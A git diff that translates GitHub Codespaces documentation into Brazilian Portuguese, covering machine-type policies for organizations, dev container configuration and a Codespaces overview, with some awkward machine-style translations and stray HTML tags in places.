+Normalmente, ao criar um codespace, você tem uma escolha de especificações para a máquina que executará seu codespace. Você pode escolher o tipo de máquina que melhor se adapte às suas necessidades. Para obter mais informações, consulte "[Criar um codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)". Se você pagar por usar o {% data variables.product.prodname_github_codespaces %}, a escolha do tipo de máquina vai afetar a sua cobrança. Para obter mais informações sobre os preços, consulte "[Sobre cobrança para codespaces](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)".
+
+Como proprietário da organização, você deverá configurar restrições sobre os tipos de máquina disponíveis. Por exemplo, se o trabalho na sua organização não exigir energia de computação ou espaço de armazenamento significativo, você poderá remover as máquinas com muitos recursos da lista de opções que as pessoas podem escolher. Faça isso definindo uma ou mais políticas nas configurações de {% data variables.product.prodname_codespaces %} para a sua organização.
+
+### Comportamento quando você define uma restrição de tipo de máquina
+
+Se houver codespaces que já não estiverem em conformidade com uma política que você definiu, estes codespaces continuarão a funcionar até serem desativados. Quando o usuário tenta restabelecer o codespace, é exibida uma mensagem que diz que o tipo de máquina selecionada não é mais permitido para esta organização e o incentiva a escolher um tipo de máquina alternativo.
+
+Se você remover mais tipos de máquina de especificação exigidos pela configuração de {% data variables.product.prodname_codespaces %} para um repositório individual na organização, não será possível criar um codespace para esse repositório. Quando alguém tentar criar um codespace, verá uma mensagem dizendo que não há tipos de máquina válidos disponíveis que atendam aos requisitos da configuração de {% data variables.product.prodname_codespaces %} do repositório.
+
+{% note %}
+
+**Observação**: Qualquer pessoa que possa editar o arquivo de configuração `devcontainer.json` em um repositório poderá definir uma especificação mínima para máquinas que podem ser usadas em codespaces para esse repositório. Para obter mais informações, consulte "[Definindo a especificação mínima para máquinas de codespaces](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines)".
+
+{% endnote %}
+
+Se a configuração de uma política para tipos de máquina impedir que as pessoas usem {% data variables.product.prodname_codespaces %} para um repositório em particular, há duas opções:
+
+* É possível ajustar suas políticas para remover especificamente as restrições do repositório afetado.
+* Qualquer pessoa que tenha um codespace ao qual nao tem mais acesso devido à nova política, pode exportar o seu codespace para um branch. Esta branch conterá todas as alterações feitas no codespace. Será possível abrir um novo codespace nesse branch com um tipo de máquina compatível ou trabalhar localmente neste branch. Para obter mais informações, consulte "[ Exportando alterações para um branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
+
+### Definindo políticas específicas da organização e do repositório
+
+Ao criar uma política, você define se ela se aplica a todos os repositórios da organização ou apenas a repositórios específicos. Se você definir uma política para toda a organização, todas as políticas que você definir para repositórios individuais devem estar dentro da restrição definida no nível da organização. A adição de políticas torna a escolha de máquinas mais restritiva.
+
+Por exemplo, você poderia criar uma política para toda a organização que restringisse os tipos de máquina a 2 ou 4 núcleos. Em seguida, você pode definir uma política para o Repositório A que o restrinja a apenas máquinas com 2 núcleos. Definir uma política para o Repositório A que o restringiu a máquinas com 2, 4, ou 8 núcleos resultariam em uma escolha de máquinas com apenas 2 ou 4 núcleos, porque a política de toda a organização impede o acesso a máquinas com 8 núcleos.
+
+Se você adicionar uma política para toda a organização, você deverá configurá-la para a maior escolha de tipos de máquina que estarão disponíveis para qualquer repositório na sua organização. Em seguida, você pode adicionar políticas específicas ao repositório para restringir ainda mais a escolha.
+
+## Adicionar uma política para limitar os tipos de máquina disponíveis
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.click-codespaces %}
+1. Em "Codedespaces", clique em **Política**.
+
+   ![Aba "Política" na barra lateral esquerda](/assets/images/help/organizations/codespaces-policy-sidebar.png)
+
+1. Na página "Políticas do codespace", clique em **Criar política**.
+1. Insira um nome para sua nova política.
+1. Clique **Adicionar restrição** e escolha **Tipos de máquina**.
+
+   ![Adicionar uma restrição para os tipos de máquina](/assets/images/help/codespaces/add-constraint-dropdown.png)
+
+1. Clique em {% octicon "pencil" aria-label="The edit icon" %} para editar a restrição e, em seguida, limpe a seleção de todos os tipos de máquina que você não deseja que estejam disponíveis.
+
+   ![Editar a restrição de tipo de máquina](/assets/images/help/codespaces/edit-machine-constraint.png)
+
+1. Na área "Alterar destino da política", clique no botão suspenso.
+1. Selecione **Todos os repositórios** ou **Repositórios selecionados** para determinar em quais repositórios esta política será aplicada.
+1. Se você escolheu **repositórios selecionados**:
+   1. Clique em {% octicon "gear" aria-label="The settings icon" %}.
+
+      ![Editar as configurações da política](/assets/images/help/codespaces/policy-edit.png)
+
+   1. Selecione os repositórios aos quais você quer que esta política seja aplicada.
+   1. Na parte inferior da lista de repositórios, clique em **Selecionar repositórios**.
+
+      ![Selecionar repositórios para esta política](/assets/images/help/codespaces/policy-select-repos.png)
+
+1. Clique em **Salvar**.
+
+## Editando uma política
+
+1. Exibir a página "Políticas de codespaces". Para obter mais informações, consulte "[Adicionar uma política para limitar os tipos de máquina disponíveis](#adding-a-policy-to-limit-the-available-machine-types)".
+1. Clique no nome da política que você deseja editar.
+1. Faça as alterações necessárias e, em seguida, clique em **Salvar**.
+
+## Excluindo uma política
+
+1. Exibir a página "Políticas de codespaces". Para obter mais informações, consulte "[Adicionar uma política para limitar os tipos de máquina disponíveis](#adding-a-policy-to-limit-the-available-machine-types)".
+1. Clique no botão excluir à direita da política que você deseja excluir.
+
+   ![O botão de excluir uma política](/assets/images/help/codespaces/policy-delete.png)
+
+## Leia mais
+
+- "[Gerenciando os limites de gastos para os codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)"
diff --git a/translations/pt-BR/content/codespaces/managing-your-codespaces/index.md b/translations/pt-BR/content/codespaces/managing-your-codespaces/index.md
index e761e9a65c..13b5a5a853 100644
--- a/translations/pt-BR/content/codespaces/managing-your-codespaces/index.md
+++ b/translations/pt-BR/content/codespaces/managing-your-codespaces/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing your codespaces
-intro: 'You can use {% data variables.product.prodname_github_codespaces %} settings to manage information that your codespace might need.'
+title: Gerenciar seus codespaces
+intro: 'Você pode usar as configurações de {% data variables.product.prodname_github_codespaces %} para gerenciar informações que seu codespace possa precisar.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -15,4 +15,4 @@ children:
   - /reviewing-your-security-logs-for-codespaces
   - /managing-gpg-verification-for-codespaces
 ---
- 
+
diff --git a/translations/pt-BR/content/codespaces/overview.md b/translations/pt-BR/content/codespaces/overview.md
index 82baf5c9f1..461d369fc1 100644
--- a/translations/pt-BR/content/codespaces/overview.md
+++ b/translations/pt-BR/content/codespaces/overview.md
@@ -1,8 +1,8 @@
 ---
-title: GitHub Codespaces overview
-shortTitle: Overview
+title: Visão geral do GitHub Codespaces
+shortTitle: Visão Geral
 product: '{% data reusables.gated-features.codespaces %}'
-intro: 'This guide introduces {% data variables.product.prodname_codespaces %} and provides details on how it works and how to use it.'
+intro: 'Este guia apresenta {% data variables.product.prodname_codespaces %} e fornece informações sobre como ele funciona e como usá-lo.'
 allowTitleToDifferFromFilename: true
 redirect_from:
   - /codespaces/codespaces-reference/about-codespaces
@@ -18,26 +18,26 @@ topics:
   - Codespaces
 ---
 
-## What is a codespace?
+## O que é um codespace?
 
-A codespace is a development environment that's hosted in the cloud. You can customize your project for {% data variables.product.prodname_codespaces %} by committing [configuration files](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project) to your repository (often known as Configuration-as-Code), which creates a repeatable codespace configuration for all users of your project.
+Um codespace é um ambiente de desenvolvimento hospedado na nuvem. Você pode personalizar o seu projeto para {% data variables.product.prodname_codespaces %}, fazendo commit de [arquivos de configuração](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project) para o seu repositório (geralmente conhecido como configuração como código), que cria uma configuração de código reproduzível para todos os usuários do seu projeto.
 
-{% data variables.product.prodname_codespaces %} run on a variety of VM-based compute options hosted by {% data variables.product.product_location %}, which you can configure from 2 core machines up to 32 core machines. You can connect to your codespaces from the browser or locally using {% data variables.product.prodname_vscode %}.
+{% data variables.product.prodname_codespaces %} é executado em uma série de opções de computação baseadas em VM, hospedadas por {% data variables.product.product_location %}, que você pode configurar a partir de 2 a 32 máquinas centrais. Você pode conectar-se aos seus codespaces a partir do navegador ou localmente usando o {% data variables.product.prodname_vscode %}.
 
-![A diagram showing how {% data variables.product.prodname_codespaces %} works](/assets/images/help/codespaces/codespaces-diagram.png)
+![Um diagrama que mostra como {% data variables.product.prodname_codespaces %} funciona](/assets/images/help/codespaces/codespaces-diagram.png)
 
-## Using Codespaces
+## Usando codespaces
 
-You can create a codespace from any branch or commit in your repository and begin developing using cloud-based compute resources. {% data reusables.codespaces.links-to-get-started %}
+Você pode criar um codespace a partir de qualquer branch ou commit no seu repositório e começar a desenvolver usando recursos de computação baseados na nuvem. {% data reusables.codespaces.links-to-get-started %}
 
-To customize the runtimes and tools in your codespace, you can create a custom configuration to define an environment (or _dev container_) that is specific for your repository. Using a dev container allows you to specify a Docker environment for development with a well-defined tool and runtime stack that can reference an image, Dockerfile, or docker-compose. This means that anyone using the repository will have the same tools available to them when they create a codespace.
+Para personalizar os tempos de execução e ferramentas no seu codespace, você pode criar uma configuração personalizada para definir um ambiente (ou _contêiner dev_) que seja específico para o seu repositório. Usar um contêiner dev permite que você especifique um ambiente Docker para desenvolvimento com uma ferramenta bem definida de ferramenta e tempo de execução que pode fazer referência a uma imagem, arquivo Docker ou docker-compose. Isso significa que qualquer pessoa que estiver usando o repositório terá as mesmas ferramentas disponíveis ao criar o codespace.
 
-If you don't do any custom configuration, {% data variables.product.prodname_codespaces %} will clone your repository into an environment with the default codespace image that includes many tools, languages, and runtime environments. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
+Se não definir nenhuma configuração personalizada, o {% data variables.product.prodname_codespaces %} clonará seu repositório em um ambiente com a imagem de codespace padrão que inclui muitas ferramentas, linguagens e ambientes de execução. Para obter mais informações, consulte "[Introdução a contêineres de desenvolvimento](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
-You can also personalize aspects of your codespace environment by using a public [dotfiles](https://dotfiles.github.io/tutorials/) repository and [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync). Personalization can include shell preferences, additional tools, editor settings, and VS Code extensions. For more information, see "[Customizing your codespace](/codespaces/customizing-your-codespace)".
+Você também pode personalizar aspectos do ambiente do seu codespace usando um repositório público do [dotfiles](https://dotfiles.github.io/tutorials/) e [Sincronização de configurações](https://code.visualstudio.com/docs/editor/settings-sync). A personalização pode incluir preferências de shell, ferramentas adicionais, configurações de editor e extensões de código VS. Para obter mais informações, consulte[Personalizando seu codespace](/codespaces/customizing-your-codespace)".
 
-## About billing for {% data variables.product.prodname_codespaces %}
+## Sobre a cobrança do {% data variables.product.prodname_codespaces %}
 
-For information on pricing, storage, and usage for {% data variables.product.prodname_codespaces %}, see "[Managing billing for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)."
+Para informações sobre os preços, o armazenamento e o uso para {% data variables.product.prodname_codespaces %}, consulte "[Gerenciando a cobrança para {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)".
 
-{% data reusables.codespaces.codespaces-spending-limit-requirement %} For information on how organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_codespaces %} for an organization, see "[Managing your spending limit for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)."
+{% data reusables.codespaces.codespaces-spending-limit-requirement %} Para informações sobre como as organizações proprietários e gerentes de cobrança podem gerenciar o limite de gastos de {% data variables.product.prodname_codespaces %} para uma organização, consulte "[Gerenciar o seu limite de gastos para {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)".
diff --git a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
index 1b2d962e19..ed66d1e318 100644
--- a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
+++ b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
@@ -1,6 +1,6 @@
 ---
-title: Introduction to dev containers
-intro: 'You can use a `devcontainer.json` file to define a {% data variables.product.prodname_codespaces %} environment for your repository.'
+title: Introdução aos contêineres de desenvolvimento
+intro: 'Você pode usar um arquivo `devcontainer.json` para definir um ambiente de {% data variables.product.prodname_codespaces %} para o seu repositório.'
 allowTitleToDifferFromFilename: true
 permissions: People with write permissions to a repository can create or edit the codespace configuration.
 redirect_from:
@@ -21,27 +21,27 @@ product: '{% data reusables.gated-features.codespaces %}'
 
  
 
-## About dev containers
+## Sobre contêineres de desenvolvimento
 
-A development container, or dev container, is the environment that {% data variables.product.prodname_codespaces %} uses to provide the tools and runtimes that your project needs for development. If your project does not already have a dev container defined, {% data variables.product.prodname_codespaces %} will use the default configuration, which contains many of the common tools that your team might need for development with your project. For more information, see "[Using the default configuration](#using-the-default-configuration)."
+Um contêiner de desenvolvimento, ou dev container, é o ambiente que {% data variables.product.prodname_codespaces %} usa para fornecer as ferramentas e tempos de execução de que seu projeto precisa para desenvolvimento. Se o seu projeto não tiver um contêiner de desenvolvimento definido, {% data variables.product.prodname_codespaces %} usará a configuração padrão, que contém muitas das ferramentas comuns que sua equipe pode precisar para desenvolver o seu projeto. Para obter mais informações, consulte "[Usando a configuração padrão](#using-the-default-configuration). "
 
-If you want all users of your project to have a consistent environment that is tailored to your project, you can add a dev container to your repository. You can use a predefined configuration to select a common configuration for various project types with the option to further customize your project or you can create your own custom configuration. For more information, see "[Using a predefined container configuration](#using-a-predefined-container-configuration)" and "[Creating a custom codespace configuration](#creating-a-custom-codespace-configuration)." The option you choose is dependent on the tools, runtimes, dependencies, and workflows that a user might need to be successful with your project.
+Se você deseja que todos os usuários de seu projeto tenham um ambiente consistente que seja adaptado ao seu projeto, você poderá adicionar um contêiner de desenvolvimento ao seu repositório. Você pode usar uma configuração predefinida para selecionar uma configuração comum para vários tipos de projeto com a opção para personalizar ainda mais seu projeto ou você pode criar sua própria configuração personalizada. Para obter mais informações, consulte "[Usando uma configuração de contêiner predefinida](#using-a-predefined-container-configuration)" e "[Criando uma configuração personalizada de codespace](#creating-a-custom-codespace-configuration)". A opção escolhida depende das ferramentas, tempo de execução, dependências e fluxos de trabalho que um usuário pode precisar para ter sucesso com seu projeto.
 
-{% data variables.product.prodname_codespaces %} allows for customization on a per-project and per-branch basis with a `devcontainer.json` file. This configuration file determines the environment of every new codespace anyone creates for your repository by defining a development container that can include frameworks, tools, extensions, and port forwarding. A Dockerfile can also be used alongside the `devcontainer.json` file in the `.devcontainer` folder to define everything required to create a container image.
+{% data variables.product.prodname_codespaces %} permite a personalização em uma base por projeto e por branch com um arquivo `devcontainer.json`. Este arquivo de configuração determina o ambiente de cada novo codespace que alguém criar para o repositório, definindo um contêiner de desenvolvimento que pode incluir estruturas, ferramentas, extensões e encaminhamento de porta. Um arquivo Docker também pode ser usado ao lado do arquivo `devcontainer.json` na pasta `devcontainer` para definir tudo o que é necessário para criar uma imagem de contêiner.
 
 ### devcontainer.json
 
 {% data reusables.codespaces.devcontainer-location %}
 
-You can use your `devcontainer.json` to set default settings for the entire codespace environment, including the editor, but you can also set editor-specific settings for individual [workspaces](https://code.visualstudio.com/docs/editor/workspaces) in a codespace in a file named `.vscode/settings.json`.
+Você pode usar o seu `devcontainer.json` para definir as configurações padrão para todo o ambiente do codespace, incluindo o editor, mas você também pode definir configurações específicas do editor para áreas de trabalho individuais [](https://code.visualstudio.com/docs/editor/workspaces) em um codespace em um arquivo denominado `.vscode/settings.json`.
 
-For information about the settings and properties that you can set in a `devcontainer.json`, see [devcontainer.json reference](https://aka.ms/vscode-remote/devcontainer.json) in the {% data variables.product.prodname_vscode %} documentation.
+Para obter informações sobre as configurações e propriedades que você pode definir em um `devcontainer.json`, consulte [referência do devcontainer.json](https://aka.ms/vscode-remote/devcontainer.json) na documentação de {% data variables.product.prodname_vscode %}.
 
-### Dockerfile
+### arquivo Docker
 
-A Dockerfile also lives in the `.devcontainer` folder. 
+Um arquivo Docker também mora na pasta `.devcontainer`.
 
-You can add a Dockerfile to your project to define a container image and install software. In the Dockerfile, you can use `FROM` to specify the container image.
+Você pode adicionar um arquivo Docker ao seu projeto para definir uma imagem de contêiner e instalar software. No arquivo Docker, você pode usar `DE` para especificar a imagem do contêiner.
 
 ```Dockerfile
 FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-14
@@ -55,9 +55,9 @@ FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-14
 # USER codespace
 ```
 
-You can use the `RUN` instruction to install any software and `&&` to join commands.
+Você pode usar a instrução `EXECUTAR` para instalar qualquer software e `&&` para unir comandos.
 
-Reference your Dockerfile in your `devcontainer.json` file by using the `dockerfile` property.
+Faça referência ao seu arquivo Docker no arquivo `devcontainer.json` usando a propriedade `arquivo Docker`.
 
 ```json
 {
@@ -67,69 +67,64 @@ Reference your Dockerfile in your `devcontainer.json` file by using the `dockerf
 }
 ```
 
-For more information on using a Dockerfile in a dev container, see [Create a development container](https://code.visualstudio.com/docs/remote/create-dev-container#_dockerfile) in the {% data variables.product.prodname_vscode %} documentation. 
+Para obter mais informações sobre como usar um arquivo Docker em um contêiner de desenvolvimento, consulte [Criar um contêiner de desenvolvimento](https://code.visualstudio.com/docs/remote/create-dev-container#_dockerfile) na documentação de {% data variables.product.prodname_vscode %}.
 
-## Using the default configuration
+## Usando a configuração padrão
 
-If you don't define a configuration in your repository, {% data variables.product.prodname_dotcom %} creates a codespace with a base Linux image. The base Linux image includes languages and runtimes like Python, Node.js, JavaScript, TypeScript, C++, Java, .NET, PHP, PowerShell, Go, Ruby, and Rust. It also includes other developer tools and utilities like git, GitHub CLI, yarn, openssh, and vim. To see all the languages, runtimes, and tools that are included use the `devcontainer-info content-url` command inside your codespace terminal and follow the url that the command outputs.
+Se você não definir uma configuração no repositório, o {% data variables.product.prodname_dotcom %} criará um código com uma imagem-base do Linux. A imagem de base do Linux inclui linguagens e tempos de execução como Python, Node.js, JavaScript, TypeScript, C++, Java, .NET, PHP, PowerShell, Go, Ruby e Rust. Ela também inclui outras ferramentas e utilitários para desenvolvedores como git, GitHub CLI, yarn, openssh, e vim. Para ver todas as linguagens, tempos de execução e as ferramentas que são incluídas, use o comando `devcontainer-info content-url` dentro do seu terminal de código e siga a url que o comando emite.
 
-Alternatively, for more information about everything that is included in the base Linux image, see the latest file in the [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository. 
+Como alternativa, para obter mais informações sobre tudo o que está incluído na imagem de base do Linux, consulte o arquivo mais recente no repositório [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux).
 
-The default configuration is a good option if you're working on a small project that uses the languages and tools that {% data variables.product.prodname_codespaces %} provides.
+A configuração padrão é uma boa opção se você estiver trabalhando em um pequeno projeto que usa as linguagens e ferramentas que {% data variables.product.prodname_codespaces %} fornece.
 
 
-## Using a predefined container configuration
+## Usando uma configuração de contêiner predefinida
 
-Predefined container definitions include a common configuration for a particular project type, and can help you quickly get started with a configuration that already has the appropriate container options, {% data variables.product.prodname_vscode %} settings, and {% data variables.product.prodname_vscode %} extensions that should be installed.
+Definições de contêiner predefinidas incluem uma configuração comum para um tipo específico de projeto e podem ajudar você rapidamente a dar os primeiros passos com uma configuração que já tem as opções de contêiner apropriadas, {% data variables.product.prodname_vscode %} configurações, e extensões de {% data variables.product.prodname_vscode %} que devem ser instaladas.
 
-Using a predefined configuration is a great idea if you need some additional extensibility. You can also start with a predefined configuration and amend it as needed for your project's setup.
+Usar uma configuração predefinida é uma ótima ideia se você precisa de uma extensão adicional. Você também pode começar com uma configuração predefinida e alterá-la conforme necessário para a configuração do seu projeto.
 
 {% data reusables.codespaces.command-palette-container %}
-1. Click the definition you want to use.
-  ![List of predefined container definitions](/assets/images/help/codespaces/predefined-container-definitions-list.png)
-1. Follow the prompts to customize your definition. For more information on the options to customize your definition, see "[Adding additional features to your `devcontainer.json` file](#adding-additional-features-to-your-devcontainerjson-file)."
-1. Click **OK**.
-  ![OK button](/assets/images/help/codespaces/prebuilt-container-ok-button.png)
-1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
-  !["Codespaces: Rebuild Container" in the {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png)
+1. Clique na definição que você deseja usar. ![Lista de definições de contêiner predefinidas](/assets/images/help/codespaces/predefined-container-definitions-list.png)
+1. Siga as instruções para personalizar sua definição. Para obter mais informações sobre as opções para personalizar sua definição, consulte "[Adicionando funcionalidades adicionais ao seu arquivo `devcontainer.json`](#adding-additional-features-to-your-devcontainerjson-file)".
+1. Clique em **OK**. ![Botão OK](/assets/images/help/codespaces/prebuilt-container-ok-button.png)
+1. Para aplicar as alterações, no canto inferior direito da tela, clique em **Reconstruir agora**. Para obter mais informações sobre a reconstrução do seu contêiner, consulte "[Aplicar alterações na sua configuração](#applying-changes-to-your-configuration)". !["Códigos: Recriar contêiner" em {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png)
 
-### Adding additional features to your `devcontainer.json` file
+### Adicionando funcionalidades adicionais ao arquivo `devcontainer.json`
 
 {% note %}
 
-**Note:** This feature is in beta and subject to change.
+**Observação:** Este recurso está na versão beta e sujeito a alterações.
 
 {% endnote %}
 
-You can add features to your predefined container configuration to customize which tools are available and extend the functionality of your workspace without creating a custom codespace configuration. For example, you could use a predefined container configuration and add the {% data variables.product.prodname_cli %} as well. You can make these additional features available for your project by adding the features to your `devcontainer.json` file when you set up your container configuration.
+Você pode adicionar recursos à configuração de contêiner predefinida para personalizar quais ferramentas estão disponíveis e ampliar a funcionalidade de seu espaço de trabalho sem criar uma configuração personalizada do codespace. Por exemplo, você poderia usar uma configuração de contêiner predefinida e adicionar o {% data variables.product.prodname_cli %} também. Você pode criar essas funcionalidades para o seu projeto adicionando as funcionalidades ao seu arquivo `devcontainer.json` ao definir a configuração do seu contêiner.
 
-You can add some of the most common features by selecting them when configuring your predefined container. For more information on the available features, see the [script library](https://github.com/microsoft/vscode-dev-containers/tree/main/script-library#scripts) in the `vscode-dev-containers` repository.
+Você pode adicionar algumas das características mais comuns selecionando-as na configuração do contêiner predefinido. Para obter mais informações sobre as funcionalidades disponíveis, consulte a biblioteca de script [](https://github.com/microsoft/vscode-dev-containers/tree/main/script-library#scripts) no repositório `vscode-dev-containers`.
 
-![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png)
+![O menu de seleção de funcionalidades adicionais durante a configuração do contêiner.](/assets/images/help/codespaces/select-additional-features.png)
 
-You can also add or remove features outside of the **Add Development Container Configuration Files** workflow. 
-1. Access the Command Palette (`Shift + Command + P` / `Ctrl + Shift + P`), then start typing "configure". Select **Codespaces: Configure Devcontainer Features**.
-  ![The Configure Devcontainer Features command in the command palette](/assets/images/help/codespaces/codespaces-configure-features.png)
-2. Update your feature selections, then click **OK**.
-  ![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png)
-1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
-  !["Codespaces: Rebuild Container" in the command palette](/assets/images/help/codespaces/rebuild-prompt.png)
+Você também pode adicionar ou remover funcionalidades fora do fluxo de trabalho **Adicionar arquivos de configuração do contêiner de desenvolvimento**.
+1. Acessar a Paleta de Comando (`Shift + Comando + P` / `Ctrl + Shift + P`) e, em seguida, comece a digitar "configurar". Selecione **Codespaces: Configure as Funcionalidades do contêiner de desenvolvimento**. ![O comando Configurar Funcionalidades do Devcontainer na paleta de comandos](/assets/images/help/codespaces/codespaces-configure-features.png)
+2. Atualize as seleções das suas funcioanlidades e clique em **OK**. ![O menu de seleção de funcionalidades adicionais durante a configuração do contêiner.](/assets/images/help/codespaces/select-additional-features.png)
+1. Para aplicar as alterações, no canto inferior direito da tela, clique em **Reconstruir agora**. Para obter mais informações sobre a reconstrução do seu contêiner, consulte "[Aplicar alterações na sua configuração](#applying-changes-to-your-configuration)". !["Codespaces: Reconstruir contêiner" na paleta de comandos](/assets/images/help/codespaces/rebuild-prompt.png)
 
 
-## Creating a custom codespace configuration
+## Criar uma configuração personalizada de codespace
 
-If none of the predefined configurations meet your needs, you can create a custom configuration by adding a `devcontainer.json` file. {% data reusables.codespaces.devcontainer-location %}
+Se nenhuma das configurações predefinidas atender às suas necessidades, você poderá criar uma configuração personalizada adicionando um arquivo `devcontainer.json`. {% data reusables.codespaces.devcontainer-location %}
 
-In the file, you can use [supported configuration keys](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) to specify aspects of the codespace's environment, like which {% data variables.product.prodname_vscode %} extensions will be installed.
+No arquivo, você pode usar [chaves de configuração compatíveis](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) para especificar aspectos do ambiente do código, como quais extensões de {% data variables.product.prodname_vscode %} serão instaladas.
 
 {% data reusables.codespaces.vscode-settings-order %}
 
-You can define default editor settings for {% data variables.product.prodname_vscode %} in two places.
+Você pode definir as configurações de editor-padrão para {% data variables.product.prodname_vscode %} em dois lugares.
 
-* Editor settings defined in `.vscode/settings.json` are applied as _Workspace_-scoped settings in the codespace.
-* Editor settings defined in the `settings` key in `devcontainer.json` are applied as _Remote [Codespaces]_-scoped settings in the codespace.
+* As configurações do editor definidas em `.vscode/settings.json` são aplicadas como configurações do escopo do _espaço de trabalho_ no codespace.
+* Configurações do editor definidas na chave `Configurações` no `devcontainer.json` são aplicadas como configuração de escopo _Remote [Codespaces]_ nesse codespace.
+
+Depois de atualizar o arquivo `devcontainer.json`, você poderá reconstruir o contêiner para o seu código aplicar as alterações. Para obter mais informações, consulte "[Aplicar alterações à sua configuração](#applying-changes-to-your-configuration)".
 
-After updating the `devcontainer.json` file, you can rebuild the container for your codespace to apply the changes. For more information, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
 
 <!--
 ## Supported codespace configuration keys
@@ -161,13 +156,13 @@ You can use configuration keys supported by {% data variables.product.prodname_c
 For more information about the available settings for `devcontainer.json`, see [devcontainer.json reference](https://aka.ms/vscode-remote/devcontainer.json) in the {% data variables.product.prodname_vscode %} documentation.
 -->
 
-## Applying changes to your configuration
+## Aplicando alterações à sua configuração
 
 {% data reusables.codespaces.apply-devcontainer-changes %}
 
 {% data reusables.codespaces.rebuild-command %}
-1. {% data reusables.codespaces.recovery-mode %} Fix the errors in the configuration.
-  ![Error message about recovery mode](/assets/images/help/codespaces/recovery-mode-error-message.png)
-   - To diagnose the error by reviewing the creation logs, click **View creation log**.
-   - To fix the errors identified in the logs, update your `devcontainer.json` file.
-   - To apply the changes, rebuild your container. 
+1. {% data reusables.codespaces.recovery-mode %} Corrija os erros na configuração. ![Mensagem de erro sobre modo de recuperação](/assets/images/help/codespaces/recovery-mode-error-message.png)
+   - Para diagnosticar o erro revisando os registros de criação, clique em **Visualizar registro de criação**.
+   - Para corrigir os erros identificados nos registros, atualize seu arquivo </code>devcontainer.json..</li>
+<li>Para aplicar as alterações, reconstrua seu contêiner.</li>
+</ul> 
diff --git a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/index.md b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/index.md
index dd4c7f17c2..c42d581378 100644
--- a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/index.md
+++ b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/index.md
@@ -1,7 +1,7 @@
 ---
-title: 'Setting up your repository for {% data variables.product.prodname_codespaces %}'
+title: 'Configurando seu repositório para {% data variables.product.prodname_codespaces %}'
 allowTitleToDifferFromFilename: true
-intro: 'Learn how to get started with {% data variables.product.prodname_codespaces %}, including set up and configuration for specific languages.'
+intro: 'Aprenda como dar os primeiros passos com {% data variables.product.prodname_codespaces %}, incluindo a configuração para linguagens específicas.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -15,5 +15,6 @@ children:
   - /setting-up-your-dotnet-project-for-codespaces
   - /setting-up-your-java-project-for-codespaces
   - /setting-up-your-python-project-for-codespaces
+  - /setting-a-minimum-specification-for-codespace-machines
 ---
 
diff --git a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
new file mode 100644
index 0000000000..0935d6656e
--- /dev/null
+++ b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
@@ -0,0 +1,53 @@
+---
+title: Setting a minimum specification for codespace machines
+shortTitle: Setting a minimum machine spec
+intro: 'You can avoid under-resourced machine types being used for {% data variables.product.prodname_codespaces %} for your repository.'
+permissions: People with write permissions to a repository can create or edit the codespace configuration.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+product: '{% data reusables.gated-features.codespaces %}'
+---
+
+## Visão Geral
+
+When you create a codespace for a repository you are typically offered a choice of available machine types. Each machine type has a different level of resources. For more information, see "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)."
+
